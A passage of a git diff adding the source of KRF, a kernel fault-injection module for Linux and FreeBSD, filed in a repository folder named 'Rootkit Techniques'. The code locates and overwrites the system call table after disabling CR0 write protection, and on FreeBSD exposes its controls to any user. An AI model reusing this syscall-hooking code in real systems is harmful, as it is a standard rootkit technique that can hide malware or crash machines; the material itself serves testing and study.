KRF_NR_SYSCALLS; i++) { + krf_sys_call_table[i] = sysent[i].sy_call; + } + + SYSCTL_ADD_UINT(&clist, SYSCTL_CHILDREN(krf_sysctl_root), OID_AUTO, KRF_PROBABILITY_FILENAME, + CTLFLAG_ANYBODY | CTLFLAG_RW, &krf_probability, krf_probability, + "Reciprocal of the probability of a fault"); + SYSCTL_ADD_UINT(&clist, SYSCTL_CHILDREN(krf_sysctl_root), OID_AUTO, KRF_RNG_STATE_FILENAME, + CTLFLAG_ANYBODY | CTLFLAG_RW, &krf_rng_state, krf_rng_state, + "Sets the current RNG state"); + SYSCTL_ADD_UINT(&clist, SYSCTL_CHILDREN(krf_sysctl_root), OID_AUTO, KRF_LOG_FAULTS_FILENAME, + CTLFLAG_ANYBODY | CTLFLAG_RW, &krf_log_faults, krf_log_faults, + "Toggle logging faults to syslog"); + SYSCTL_ADD_PROC(&clist, SYSCTL_CHILDREN(krf_sysctl_root), OID_AUTO, KRF_CONTROL_FILENAME, + CTLFLAG_ANYBODY | CTLTYPE_UINT | CTLFLAG_WR, &krf_control, krf_control, + control_file_sysctl, "IU", "Enables specific syscall faults"); + SYSCTL_ADD_PROC(&clist, SYSCTL_CHILDREN(krf_sysctl_root), OID_AUTO, KRF_TARGETING_FILENAME, + CTLFLAG_ANYBODY | CTLTYPE_STRING | CTLFLAG_WR, &krf_targetings, 13, + targeting_file_sysctl, "A", "Enables specific targeting options"); + return err; +} + +static int krf_teardown() { + krf_flush_table(); + sysctl_remove_oid(krf_sysctl_root, 1, 0); + sysctl_ctx_free(&clist); + return 0; +} + +static int krf_loader(struct module *m, int what, void *arg) { + int err = 0; + switch (what) { + case MOD_LOAD: + err = krf_init(); + if (err != 0) + uprintf("krf_init failed with %d\n", err); + +#include "krf.gen.x" + + uprintf("krf: loaded\n"); + break; + case MOD_UNLOAD: + krf_teardown(); + uprintf("krf: unloaded\n"); + break; + default: + err = EOPNOTSUPP; + break; + } + return (err); +} + +static moduledata_t krf_mod = {"krf", krf_loader, NULL}; + +DECLARE_MODULE(krf, krf_mod, SI_SUB_EXEC, SI_ORDER_ANY); diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/syscalls.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/syscalls.c new file mode 100644 index 0000000..75e8185 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/syscalls.c @@ -0,0 +1,19 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "syscalls.h" +#include "syscalls/internal.h" +#include "../targeting.h" +#include "freebsd.h" + +sy_call_t *krf_faultable_table[KRF_MAX_SYSCALL] = {}; +sy_call_t *krf_sys_call_table[KRF_MAX_SYSCALL] = {}; + +#include "syscalls.gen.x" diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/syscalls.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/syscalls.h new file mode 100644 index 0000000..04d3a86 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/syscalls.h @@ -0,0 +1,19 @@ +#pragma once +#include +#include +#include +#include + +#if !defined(SYS_MAXSYSCALL) || SYS_MAXSYSCALL <= 0 +#error "undefined or bizarrely defined SYS_MAXSYSCALL" +#endif + +#define KRF_NR_SYSCALLS SYS_MAXSYSCALL +#define KRF_MAX_SYSCALL SYS_MAXSYSCALL + +struct sysent; +extern struct sysent sysent[]; +extern sy_call_t *krf_faultable_table[KRF_MAX_SYSCALL]; +extern sy_call_t *krf_sys_call_table[KRF_MAX_SYSCALL]; + +#include "syscalls.gen.h" diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/syscalls/internal.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/syscalls/internal.h new file mode 100644 index 0000000..2ee4c7e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/syscalls/internal.h @@ -0,0 +1,42 @@ +#pragma once + +#ifdef LINUX +#include +#endif + +#ifdef __FreeBSD__ +#include +#include +#include +#include +#include +#include +#include +#include /* uprintf */ +#endif + +#include "../../config.h" + +#define KRF_RNG_NEXT() (krf_rng_state = krf_mulberry32()) + +/* Individual syscall files (read.c, write.c) provide these. + */ +#undef KRF_SYS_CALL +#undef KRF_SYS_PARMS +#undef KRF_SYS_PARMSX + +#define NFAULTS (sizeof(fault_table) / sizeof(fault_table[0])) + +/* Cribbed from the public domain impl: + * https://gist.github.com/tommyettinger/46a874533244883189143505d203312c + * + * TODO(ww): 64 bit would probably be faster; use Thrust instead? + */ +static __inline unsigned int krf_mulberry32(void) { + unsigned int z = krf_rng_state += 0x6D2B79F5; + z = (z ^ z >> 15) * (1 | z); + z ^= z + (z ^ z >> 7) * (61 | z); + return z ^ z >> 14; +} + +#include "internal.gen.h" diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/targeting.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/targeting.h new file mode 100644 index 0000000..fbfa5bb --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/targeting.h @@ -0,0 +1,92 @@ +#pragma once +#include "freebsd.h" +#include "../targeting.h" +#include +#include +#include +#include +#include +#include +#include + +static __always_inline bool krf_personality(unsigned int target, krf_ctx_t *context) { + return (context->td_proc->p_flag2 & (target)); +} + +#ifdef KRF_FREEBSD_UNSAFE_PID_TRAVERSAL +static __always_inline bool krf_pid(unsigned int target, krf_ctx_t *context) { + struct proc *par = context->td_proc; + do { + if (par->p_pid == (target)) { + return true; + break; + } + } while ((par = par->p_pptr)); + return false; +} +#else // Default: do a check with depth=1 using locks +static __always_inline bool krf_pid(unsigned int target, krf_ctx_t *context) { + int ret = 0; + PROC_LOCK(context->td_proc); + if (context->td_proc->p_pid == (target)) { + ret = 1; + } else { + PROC_LOCK(context->td_proc->p_pptr); + if (context->td_proc->p_pptr->p_pid == (target)) + ret = 1; + PROC_UNLOCK(context->td_proc->p_pptr); + } + PROC_UNLOCK(context->td_proc); + return ret; +} +#endif + +static __always_inline bool krf_uid(unsigned int target, krf_ctx_t *context) { + return (context->td_proc->p_ucred->cr_ruid == + (target)); // Currently using real UID but could use effective UID (cr_uid) +} + +static __always_inline bool krf_gid(unsigned int target, krf_ctx_t *context) { + return (context->td_proc->p_ucred->cr_rgid == (target)); +} + +static __always_inline bool krf_inode(unsigned int target, krf_ctx_t *context) { + int i = 0; + bool ret = false; + struct vattr vap; + struct filedesc *fdp; + + PROC_LOCK(context->td_proc); + fdp = context->td_proc->p_fd; + PROC_UNLOCK(context->td_proc); + + if (fdp == NULL) + return false; + + FILEDESC_SLOCK(context->td_proc->p_fd); + for (; i <= fdp->fd_lastfile; i++) { + if (fdp->fd_refcnt <= 0) + break; + if (fdp->fd_ofiles[i].fde_file == NULL) + break; + if (fdp->fd_ofiles[i].fde_file->f_type != DTYPE_VNODE) + continue; + if (fdp->fd_ofiles[i].fde_file->f_vnode == NULL) + break; + + VI_LOCK(fdp->fd_ofiles[i].fde_file->f_vnode); + vget(fdp->fd_files->fdt_ofiles[i].fde_file->f_vnode, LK_EXCLUSIVE | LK_INTERLOCK, context); + if (VOP_GETATTR(fdp->fd_files->fdt_ofiles[i].fde_file->f_vnode, &vap, + fdp->fd_files->fdt_ofiles[i].fde_file->f_cred) != 0) { + vput(fdp->fd_files->fdt_ofiles[i].fde_file->f_vnode); + break; + } + vput(fdp->fd_files->fdt_ofiles[i].fde_file->f_vnode); + if (target == vap.va_fileid) { + ret = true; + break; + } + } + FILEDESC_SUNLOCK(fdp); + return ret; +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/krf.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/krf.c new file mode 100644 index 0000000..edabb15 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/krf.c @@ -0,0 +1,68 @@ +#include "config.h" +#include "krf.h" +#ifdef LINUX +#include "linux/linux.h" +#include +#include +#include +#include +#include +#include +#endif + +#ifdef __FreeBSD__ +#include +#include +#include +#include +#include "freebsd/freebsd.h" +#endif + +void krf_flush_table(void) { + int nr; + for (nr = 0; nr < KRF_NR_SYSCALLS; nr++) { + if (krf_sys_call_table[nr]) { + KRF_SAFE_WRITE({ KRF_EXTRACT_SYSCALL(KRF_SYSCALL_TABLE[nr]) = krf_sys_call_table[nr]; }); + } + } +} + +int control_file_handler(unsigned int sys_num) { + if (sys_num >= KRF_NR_SYSCALLS) { + KRF_LOG("krf: flushing all faulty syscalls\n"); + krf_flush_table(); + } else if (krf_faultable_table[sys_num] != NULL) { + KRF_SAFE_WRITE( + { KRF_EXTRACT_SYSCALL(KRF_SYSCALL_TABLE[sys_num]) = krf_faultable_table[sys_num]; }); + } else { + // Valid syscall, but not supported by KRF + KRF_LOG("krf: user requested faulting of unsupported slot %u\n", sys_num); + return -EOPNOTSUPP; + } + return 0; +} + +void targeting_file_read_handler(char *buf) { + size_t offset = 0; + unsigned int current_mode; + for (current_mode = 0; current_mode < KRF_T_NUM_MODES; current_mode++) { + if ((krf_target_options.mode_mask & (1 << current_mode)) && (offset < KRF_PROCFS_MAX_SIZE)) { + offset += sprintf(buf + offset, "%u %u\n", current_mode, + krf_target_options.target_data[current_mode]); + } + } +} + +int targeting_file_write_handler(unsigned int mode, unsigned int data) { + if ((mode == 0) && (data == 0)) { // If both arguments are zero, remove all targeting + krf_target_options.mode_mask = 0; + KRF_LOG("krf: flushing all targeting options\n"); + } else { + if (mode >= KRF_T_NUM_MODES) { + return -EINVAL; + } + krf_target_options.mode_mask |= (1 << mode); + krf_target_options.target_data[mode] = data; + } + return 0; +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/krf.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/krf.h new file mode 100644 index 0000000..9f23ea2 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/krf.h @@ -0,0 +1,6 @@ +#pragma once + +int control_file_handler(unsigned int syscall); +void targeting_file_read_handler(char *buf); +int targeting_file_write_handler(unsigned int mode, unsigned int data); +void krf_flush_table(void); diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/Makefile b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/Makefile new file mode 100644 index 0000000..8910b38 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/Makefile @@ -0,0 +1,45 @@ +MOD := krfx + +# Ignore this insanity: we need to do some pathname rewriting +# thanks to the subprocess make that actually does the building. +KRF_SYSCALL_SRCS_FAKE := $(notdir $(wildcard $M/syscalls/*.c)) +KRF_SYSCALL_OBJS_FAKE := $(KRF_SYSCALL_SRCS_FAKE:.c=.o) +KRF_SYSCALL_OBJS = $(foreach obj,$(KRF_SYSCALL_OBJS_FAKE),syscalls/$(obj)) +KRF_SYSCALL_YMLS = $(wildcard ../codegen/linux/*.yml) + +ccflags-y := -DKRF_CODEGEN=1 -DLINUX -std=gnu99 -Wno-declaration-after-statement + +obj-m += $(MOD).o +$(MOD)-objs := krf.o syscalls.o netlink.o ../krf.o ../config.o $(KRF_SYSCALL_OBJS) + +.PHONY: all +all: module + +.PHONY: module +module: ../codegen/linux/.linux.mk + $(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules + +.PHONY: codegen +codegen: ../codegen/linux/.linux.mk + +../codegen/linux/.linux.mk: ../codegen/linux/codegen $(KRF_SYSCALL_YMLS) + ruby ../codegen/linux/codegen $(FAULTS) + @touch ../codegen/linux/.linux.mk + +clean: + $(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean + rm -f ../*.o *.ur-safe ../*.ur-safe # some garbage not cleaned by the kernel's clean target + rm -f *.gen.x *.gen.h */*.gen.h */*.gen.c ../codegen/linux/.linux.mk # codegen files + +.PHONY: install +install: $(MOD).ko + sudo $(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules_install + sudo depmod -a + +.PHONY: insmod +insmod: $(MOD).ko + sudo insmod $(MOD).ko + +.PHONY: rmmod +rmmod: + sudo rmmod $(MOD) diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/krf.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/krf.c new file mode 100644 index 0000000..1903ffa --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/krf.c @@ -0,0 +1,378 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "../config.h" +#include "../krf.h" +#include "syscalls.h" +#include "netlink.h" + +#define KRF_VERSION "0.0.1" + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("William Woodruff "); +MODULE_DESCRIPTION("A Kernelspace Randomized Faulter"); + +// Kernels 5.6 and newer: procfs uses `struct proc_ops` instead of `struct file_operations`. +#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 6, 0) +#define HAVE_PROC_OPS +#endif + +// Kernels 5.7 and newer: kallsyms_lookup_name has been unexported for Google reasons (tm), +// so we need to use kprobes to grab its address. +// See: https://github.com/xcellerator/linux_kernel_hacking +#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 7, 0) +#define KALLSYMS_LOOKUP_NAME_UNEXPORTED +#include +static struct kprobe kp = {.symbol_name = "kallsyms_lookup_name"}; +#endif + +static int krf_init(void); +static void krf_teardown(void); +static ssize_t rng_state_file_read(struct file *, char __user *, size_t, loff_t *); +static ssize_t rng_state_file_write(struct file *, const char __user *, size_t, loff_t *); +static ssize_t probability_file_read(struct file *, char __user *, size_t, loff_t *); +static ssize_t probability_file_write(struct file *, const char __user *, size_t, loff_t *); +static ssize_t control_file_write(struct file *, const char __user *, size_t, loff_t *); +static ssize_t log_faults_file_read(struct file *, char __user *, size_t, loff_t *); +static ssize_t log_faults_file_write(struct file *, const char __user *, size_t, loff_t *); +static ssize_t targeting_file_read(struct file *, char __user *, size_t, loff_t *); +static ssize_t targeting_file_write(struct file *, const char __user *, size_t, loff_t *); + +static struct proc_dir_entry *krf_dir; + +#ifdef HAVE_PROC_OPS +static const struct proc_ops rng_state_file_ops = { + .proc_read = rng_state_file_read, + .proc_write = rng_state_file_write, +}; + +static const struct proc_ops probability_file_ops = { + .proc_read = probability_file_read, + .proc_write = probability_file_write, +}; + +static const struct proc_ops control_file_ops = { + .proc_write = control_file_write, +}; + +static const struct proc_ops log_faults_file_ops = { + .proc_read = log_faults_file_read, + .proc_write = log_faults_file_write, +}; + +static const struct proc_ops targeting_file_ops = { + .proc_read = targeting_file_read, + .proc_write = targeting_file_write, +}; +#else +static const struct file_operations rng_state_file_ops = { + .owner = THIS_MODULE, + .read = rng_state_file_read, + .write = rng_state_file_write, +}; + +static const struct file_operations probability_file_ops = { + .owner = THIS_MODULE, + .read = probability_file_read, + .write = probability_file_write, +}; + +static const struct file_operations control_file_ops = { + .owner = THIS_MODULE, + .write = control_file_write, +}; + +static const struct file_operations log_faults_file_ops = { + .owner = THIS_MODULE, + .read = log_faults_file_read, + .write = log_faults_file_write, +}; + +static const struct file_operations targeting_file_ops = { + .owner = THIS_MODULE, + .read = targeting_file_read, + .write = targeting_file_write, +}; +#endif + +int init_module(void) { + int ret; + + if ((ret = krf_init()) != 0) { + printk(KERN_ERR "krf_init failed with %d\n", ret); + return ret; + } + +#ifdef KRF_CODEGEN +#include "krf.gen.x" +#endif + + printk(KERN_INFO "krf " KRF_VERSION " loaded\n"); + + return 0; +} + +void cleanup_module(void) { + krf_teardown(); + + printk(KERN_INFO "krf " KRF_VERSION " unloaded\n"); +} + +static int krf_init(void) { +#ifdef KALLSYMS_LOOKUP_NAME_UNEXPORTED + typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); + kallsyms_lookup_name_t kallsyms_lookup_name; + if (register_kprobe(&kp) < 0) { + printk(KERN_ERR "krf couldn't register a kprobe to sniff kallsyms_lookup_name\n"); + } + kallsyms_lookup_name = (kallsyms_lookup_name_t)kp.addr; + unregister_kprobe(&kp); +#endif + + if (setup_netlink_socket() < 0) { + return -1; + } + + sys_call_table = (void *)kallsyms_lookup_name("sys_call_table"); + + if (sys_call_table == NULL) { + printk(KERN_ERR "krf couldn't load the syscall table\n"); + return -2; + } + + memcpy(krf_sys_call_table, sys_call_table, KRF_NR_SYSCALLS * sizeof(unsigned long *)); + + krf_dir = proc_mkdir(KRF_PROC_DIR, NULL); + + if (krf_dir == NULL) { + printk(KERN_ERR "krf couldn't create /proc/" KRF_PROC_DIR); + return -2; + } + + if (proc_create(KRF_RNG_STATE_FILENAME, 644, krf_dir, &rng_state_file_ops) == NULL || + proc_create(KRF_PROBABILITY_FILENAME, 644, krf_dir, &probability_file_ops) == NULL || + proc_create(KRF_CONTROL_FILENAME, 644, krf_dir, &control_file_ops) == NULL || + proc_create(KRF_LOG_FAULTS_FILENAME, 644, krf_dir, &log_faults_file_ops) == NULL || + proc_create(KRF_TARGETING_FILENAME, 644, krf_dir, &targeting_file_ops) == NULL) { + printk(KERN_ERR "krf couldn't create /proc entries\n"); + return -3; + } + + return 0; +} + +static void krf_teardown(void) { + krf_flush_table(); + remove_proc_subtree(KRF_PROC_DIR, NULL); + destroy_netlink_socket(); +} + +static ssize_t rng_state_file_read(struct file *f, char __user *ubuf, size_t size, loff_t *off) { + char buf[KRF_PROCFS_MAX_SIZE + 1] = {0}; + size_t buflen = 0; + + sprintf(buf, "%u\n", krf_rng_state); + buflen = strnlen(buf, KRF_PROCFS_MAX_SIZE); + + if (*off > 0 || size < buflen) { + return 0; + } + + if (copy_to_user(ubuf, buf, buflen)) { + return -EFAULT; + } + + *off = buflen; + return buflen; +} + +static ssize_t rng_state_file_write(struct file *f, const char __user *ubuf, size_t size, + loff_t *off) { + char buf[KRF_PROCFS_MAX_SIZE + 1] = {0}; + size_t buflen = 0; + + if (size > KRF_PROCFS_MAX_SIZE) { + size = KRF_PROCFS_MAX_SIZE; + } + + if (copy_from_user(buf, ubuf, size)) { + return -EFAULT; + } + + if (kstrtouint(buf, 0, &krf_rng_state) < 0) { + return -EINVAL; + } + + buflen = strnlen(buf, KRF_PROCFS_MAX_SIZE); + + *off = buflen; + return buflen; +} + +static ssize_t probability_file_read(struct file *f, char __user *ubuf, size_t size, loff_t *off) { + char buf[KRF_PROCFS_MAX_SIZE + 1] = {0}; + size_t buflen = 0; + + sprintf(buf, "%u\n", krf_probability); + buflen = strnlen(buf, KRF_PROCFS_MAX_SIZE); + + if (*off > 0 || size < buflen) { + return 0; + } + + if (copy_to_user(ubuf, buf, buflen)) { + return -EFAULT; + } + + *off = buflen; + return buflen; +} + +static ssize_t probability_file_write(struct file *f, const char __user *ubuf, size_t size, + loff_t *off) { + char buf[KRF_PROCFS_MAX_SIZE + 1] = {0}; + size_t buflen = 0; + + if (size > KRF_PROCFS_MAX_SIZE) { + size = KRF_PROCFS_MAX_SIZE; + } + + if (copy_from_user(buf, ubuf, size)) { + return -EFAULT; + } + + if (kstrtouint(buf, 0, &krf_probability) < 0) { + return -EINVAL; + } + + buflen = strnlen(buf, KRF_PROCFS_MAX_SIZE); + + *off = buflen; + return buflen; +} + +static ssize_t control_file_write(struct file *f, const char __user *ubuf, size_t size, + loff_t *off) { + char buf[KRF_PROCFS_MAX_SIZE + 1] = {0}; + size_t buflen = 0; + unsigned int sys_num = KRF_NR_SYSCALLS; + + if (size > KRF_PROCFS_MAX_SIZE) { + size = KRF_PROCFS_MAX_SIZE; + } + + if (copy_from_user(buf, ubuf, size)) { + return -EFAULT; + } + + if (kstrtouint(buf, 0, &sys_num) < 0) { + return -EINVAL; + } + + if (control_file_handler(sys_num) < 0) { + return -EOPNOTSUPP; + } + + buflen = strnlen(buf, KRF_PROCFS_MAX_SIZE); + + *off = buflen; + return buflen; +} + +static ssize_t log_faults_file_read(struct file *f, char __user *ubuf, size_t size, loff_t *off) { + char buf[KRF_PROCFS_MAX_SIZE + 1] = {0}; + size_t buflen = 0; + + sprintf(buf, "%u\n", krf_log_faults); + buflen = strnlen(buf, KRF_PROCFS_MAX_SIZE); + + if (*off > 0 || size < buflen) { + return 0; + } + + if (copy_to_user(ubuf, buf, buflen)) { + return -EFAULT; + } + + *off = buflen; + return buflen; +} + +static ssize_t log_faults_file_write(struct file *f, const char __user *ubuf, size_t size, + loff_t *off) { + char buf[KRF_PROCFS_MAX_SIZE + 1] = {0}; + size_t buflen = 0; + + if (size > KRF_PROCFS_MAX_SIZE) { + size = KRF_PROCFS_MAX_SIZE; + } + + if (copy_from_user(buf, ubuf, size)) { + return -EFAULT; + } + + if (kstrtouint(buf, 0, &krf_log_faults) < 0) { + return -EINVAL; + } + + krf_log_faults = !!krf_log_faults; + + buflen = strnlen(buf, KRF_PROCFS_MAX_SIZE); + + *off = buflen; + return buflen; +} + +static ssize_t targeting_file_read(struct file *f, char __user *ubuf, size_t size, loff_t *off) { + char buf[KRF_PROCFS_MAX_SIZE + 1] = {0}; + size_t buflen = 0; + + targeting_file_read_handler(buf); + + buflen = strnlen(buf, KRF_PROCFS_MAX_SIZE); + + if (*off > 0 || size < buflen) { + return 0; + } + + if (copy_to_user(ubuf, buf, buflen)) { + return -EFAULT; + } + + *off = buflen; + return buflen; +} + +static ssize_t targeting_file_write(struct file *f, const char __user *ubuf, size_t size, + loff_t *off) { + char buf[KRF_PROCFS_MAX_SIZE + 1] = {0}; + size_t buflen = 0; + krf_target_mode_t mode; + unsigned int data; + + if (size > KRF_PROCFS_MAX_SIZE) { + size = KRF_PROCFS_MAX_SIZE; + } + + if (copy_from_user(buf, ubuf, size)) { + return -EFAULT; + } + + if (sscanf(buf, "%u %u", &mode, &data) != 2) { + return -EINVAL; + } + + if (targeting_file_write_handler(mode, data) < 0) { + return -EINVAL; + } + + buflen = strnlen(buf, KRF_PROCFS_MAX_SIZE); + + *off = buflen; + return buflen; +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/linux.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/linux.h new file mode 100644 index 0000000..e67e55b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/linux.h @@ -0,0 +1,25 @@ +#pragma once +// Linux specific definitions +#include "syscalls.h" +#include "netlink.h" + +#define KRF_SAFE_WRITE(x) KRF_CR0_WRITE_UNLOCK(x) +#define KRF_LOG(...) \ + ({ \ + char krf_log_msg_buf[KRF_NETLINK_BUF_SIZE]; \ + printk(KERN_INFO __VA_ARGS__); \ + int written = snprintf(krf_log_msg_buf, KRF_NETLINK_BUF_SIZE, __VA_ARGS__); \ + if (written < 0) { \ + printk(KERN_WARNING "krf: snprintf formatting error\n"); \ + } else if (written >= KRF_NETLINK_BUF_SIZE) { \ + printk(KERN_WARNING "krf: truncated message\n"); \ + krf_netlink_broadcast(krf_log_msg_buf, KRF_NETLINK_BUF_SIZE); \ + } else { \ + krf_netlink_broadcast(krf_log_msg_buf, written + 1); \ + } \ + }) +#define KRF_SYSCALL_TABLE sys_call_table +#define KRF_TARGETING_PARMS current +#define KRF_EXTRACT_SYSCALL(x) (x) + +typedef struct task_struct krf_ctx_t; diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/netlink.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/netlink.c new file mode 100644 index 0000000..268f70b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/netlink.c @@ -0,0 +1,41 @@ +#include +#include +#include + +#include "netlink.h" + +static struct sock *krf_socket; + +int krf_netlink_broadcast(char *buf, unsigned message_size) { + struct sk_buff *skb; + struct nlmsghdr *nlh; + int result; + skb = nlmsg_new(NLMSG_ALIGN(message_size), GFP_KERNEL); + if (!skb) { + printk(KERN_ERR "krf: Failed to allocate a new skb\n"); + return -1; + } + nlh = nlmsg_put(skb, 0, 1, NLMSG_DONE, message_size, 0); + strncpy(nlmsg_data(nlh), buf, message_size); + result = nlmsg_multicast(krf_socket, skb, 0, NETLINK_MYGROUP, GFP_KERNEL); + if (result < 0) { + printk(KERN_ERR "krf: Failed to multicast message with error code %d\n", result); + } + return result; +} + +int setup_netlink_socket(void) { + struct netlink_kernel_cfg config = { + .groups = NETLINK_MYGROUP, + }; + krf_socket = netlink_kernel_create(&init_net, NETLINK_KRF, &config); + if (krf_socket < 0) { + printk(KERN_ERR "krf: couldn't create a netlink"); + return -1; + } + return 0; +} + +void destroy_netlink_socket(void) { + netlink_kernel_release(krf_socket); +} diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/netlink.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/netlink.h new file mode 100644 index 0000000..3015e7e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/netlink.h @@ -0,0 +1,8 @@ +#pragma once +#include "../../common/common.h" + +#define KRF_NETLINK_BUF_SIZE 256 // Arbitrary maximum message size + +int krf_netlink_broadcast(char *buf, unsigned message_size); +int setup_netlink_socket(void); +void destroy_netlink_socket(void); diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/syscalls.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/syscalls.c new file mode 100644 index 0000000..b117669 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/syscalls.c @@ -0,0 +1,11 @@ +#include "syscalls.h" +#include "syscalls/internal.h" +#include "linux.h" + +unsigned long *krf_faultable_table[KRF_NR_SYSCALLS] = {}; +unsigned long *krf_sys_call_table[KRF_NR_SYSCALLS] = {}; +unsigned long **sys_call_table = NULL; + +#ifdef KRF_CODEGEN +#include "syscalls.gen.x" +#endif diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/syscalls.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/syscalls.h new file mode 100644 index 0000000..0a76d66 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/syscalls.h @@ -0,0 +1,41 @@ +#pragma once + +#include +#include +#include /* for NR_syscalls */ + +#if !defined(NR_syscalls) || NR_syscalls <= 0 +#error "undefined or bizarrely defined NR_syscalls" +#endif + +#define KRF_NR_SYSCALLS (NR_syscalls) + +#define KRF_CR0_WRITE_UNLOCK(x) \ + do { \ + unsigned long __cr0; \ + preempt_disable(); \ + __cr0 = read_cr0() & (~X86_CR0_WP); \ + BUG_ON(unlikely((__cr0 & X86_CR0_WP))); \ + write_cr0(__cr0); \ + x; \ + __cr0 = read_cr0() | X86_CR0_WP; \ + BUG_ON(unlikely(!(__cr0 & X86_CR0_WP))); \ + write_cr0(__cr0); \ + preempt_enable(); \ + } while (0) + +/* A table of pointers to faulty syscalls. + */ +extern unsigned long *krf_faultable_table[KRF_NR_SYSCALLS]; + +/* A backup of the real syscall table, prior to modification. + */ +extern unsigned long *krf_sys_call_table[KRF_NR_SYSCALLS]; + +/* The real syscall table, which may or may not be modified at any point. + */ +extern unsigned long **sys_call_table; + +#ifdef KRF_CODEGEN +#include "syscalls.gen.h" +#endif diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/syscalls/internal.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/syscalls/internal.h new file mode 100644 index 0000000..55c912b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/syscalls/internal.h @@ -0,0 +1,34 @@ +#pragma once + +#ifdef LINUX +#include +#endif + +#include "../../config.h" +#include "../../targeting.h" + +#define KRF_RNG_NEXT() (krf_rng_state = krf_mulberry32()) + +/* Individual syscall files (read.c, write.c) provide these. + */ +#undef KRF_SYS_CALL +#undef KRF_SYS_PARMS +#undef KRF_SYS_PARMSX + +#define NFAULTS (sizeof(fault_table) / sizeof(fault_table[0])) + +/* Cribbed from the public domain impl: + * https://gist.github.com/tommyettinger/46a874533244883189143505d203312c + * + * TODO(ww): 64 bit would probably be faster; use Thrust instead? + */ +static __inline unsigned int krf_mulberry32(void) { + unsigned int z = krf_rng_state += 0x6D2B79F5; + z = (z ^ z >> 15) * (1 | z); + z ^= z + (z ^ z >> 7) * (61 | z); + return z ^ z >> 14; +} + +#ifdef KRF_CODEGEN +#include "internal.gen.h" +#endif diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/targeting.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/targeting.h new file mode 100644 index 0000000..b48fdf3 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/linux/targeting.h @@ -0,0 +1,28 @@ +#pragma once +#include "linux.h" +#include "../targeting.h" +#include +#include + +static __always_inline bool krf_personality(unsigned int target, krf_ctx_t *context) { + return (context->personality & (target)); +} +static __always_inline bool krf_pid(unsigned int target, krf_ctx_t *context) { + return (context->pid == (target)); +} +static __always_inline bool krf_uid(unsigned int target, krf_ctx_t *context) { + return (context->cred->uid.val == (target)); +} +static __always_inline bool krf_gid(unsigned int target, krf_ctx_t *context) { + return (context->cred->gid.val == (target)); +} +static __always_inline bool krf_inode(unsigned int target, krf_ctx_t *context) { + int i = 0; + while (context->files->fdt->fd[i] != NULL) { + if ((target == context->files->fdt->fd[i]->f_inode->i_ino)) { + return true; + } + i++; + } + return false; +} 